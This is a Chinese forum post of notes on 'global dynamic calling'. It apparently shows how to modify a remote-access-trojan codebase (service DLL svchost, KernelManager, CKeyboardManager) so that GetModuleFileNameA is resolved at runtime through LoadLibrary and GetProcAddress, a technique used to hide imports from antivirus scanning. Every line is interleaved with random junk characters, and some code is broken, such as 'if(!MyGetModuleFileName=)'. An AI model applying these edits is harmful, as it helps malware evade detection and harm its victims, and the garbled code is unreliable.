[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
! B+ a8 L  ~/ h1 n& A" Fsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h4 H4 D4 P+ {  M3 ?7 R
----------------------------------------" `9 W7 g# G" e9 F/ ?
DTDY.h：
# @7 {4 y' g% i% _, D( r& Z; @0 F' ~: M7 ?4 R6 t* }; [" c
#if _MSC_VER>1000& [7 }$ ?2 h& b3 m- {+ s
#pragma once/ U# F' I4 @9 O2 W
#endif //_MSC_VER>1000
# W2 \6 U% V# ~" r- b#include<windows.h>
! Y3 Z! f" x$ l" M8 ~$ \2 u0 K7 r4 |8 }; k4 t( r3 J: D
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
9 S8 B+ {! u/ P& o! Zclass DTDY
, i3 G0 U* P" r2 e8 `{% L1 i" t, `5 z  P
public:
' X/ ]! _: E# QDTDY();
# N# n2 ^& I- evirtual ~DTDY();
" g" D& e4 G1 g" Opublic:, Q5 f$ f  J& U2 c. E
static pGetModuleFileNameA MyGetModuleFileName;$ S, P2 h' D. r! i/ \" c+ t
static BOOL FunInitiallization();
) N4 e+ g; _5 N; y};! c. W& l7 l  m
#endif& {* d& A3 v- I7 Y3 w
----------------------------------------( n2 @7 F0 q6 `" @

. f; p4 c) V. E( `) }8 t" jDTDY.cpp:3 A- `" c2 s: o7 c( {

/ O4 h4 _; ^" l) D#include "DTDY.h"# p0 ?+ R! `7 @5 z
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
3 Q) M/ P+ D) n% i% oDTDY:TDY()
. V) @) {3 u* o4 w5 L+ J; k{: m' I. l$ l# U9 {
}
  t' b' _7 {( D5 I- Q& U5 eDTDY::~DTDY()" g1 i% f6 U2 x! g6 {8 j: [% J4 F
{
$ ^0 ~. f( C" ?9 |5 ^% P$ q}! w) {, U: J, e! H4 K* j8 z
BOOL DTDY::FunInitiallization()
* v) |0 v& Y. M{
: r. f* W) P, h! s+ @* gHMODULE hModule=LoadLibrary("kernel32.dll");
& _( l0 P/ I% }6 V0 U5 @MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");+ j* a, i% ]8 C% Z, E8 T$ z0 H4 z
if(!MyGetModuleFileName=) return FALSE;5 P5 s& C, U# e, h

4 i& `& h* g9 p2 j! v5 Jreturn TRUE;+ B3 P- \* t2 \1 J: O9 \
}
7 b1 u) h% k) B/ ?0 [1 s9 Q# y----------------------------------------
( c7 O% v' J8 ^. |4 U* P3 Q1 {svchost.cpp:
# h: i. l: Y2 |, b& D. j% e, r8 H% }3 V$ i7 x8 u/ v1 C% k9 m
#include "DTDY.h"
1 |# Q! f6 l/ S% b" O! Q* w3 A  c$ B/ l9 q3 i
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
8 ?$ X& U/ F0 [" T; D4 R. ^/ x{7 z0 Y( D2 t6 @" W& i( f5 j* @
switch(ul_reason_for_call)
1 [; W% A& Q- Z+ P& {9 _) q( n{9 |- P4 j7 ~! t6 a8 g  O* g
case DLL_PROCESS_ATTACH:
9 I/ j" |' D( w% C/ e" rif(!DTDY::FunInitiallization()) return FALSE;4 l3 }0 A! X0 p$ R) V7 d  L" {

) k+ `$ K% b  Z( i( M, Vbreak;
: Y7 Z1 [9 X7 g8 B}
9 R$ e# [" ?0 w7 \& h}
' u0 H4 I* n4 C' x" |2 m: i( u/ d9 p0 P' @% W

& _$ l, K* U) O$ ~; `, R; f+ QGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
8 F2 F5 |+ Q; L/ \; J; D改写为
, n; g' g0 ]: u9 }' }8 zDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
* u+ T4 [/ b/ i, y----------------------------------------
* f& B% i6 S8 c7 g& D$ o! |KernelManager.cpp:0 A! [% T/ u8 ~
3 Y# I1 a/ C. y' p- E; L2 C4 w5 p
#include "../DTDY.h"# h1 \+ h& d9 m% u3 _+ x9 Y1 n
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));; X  J" J3 q: b9 w
改写为
5 e; t" G7 j! [  Q6 XDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
# \* j- Z  g3 |6 O6 l3 {----------------------------------------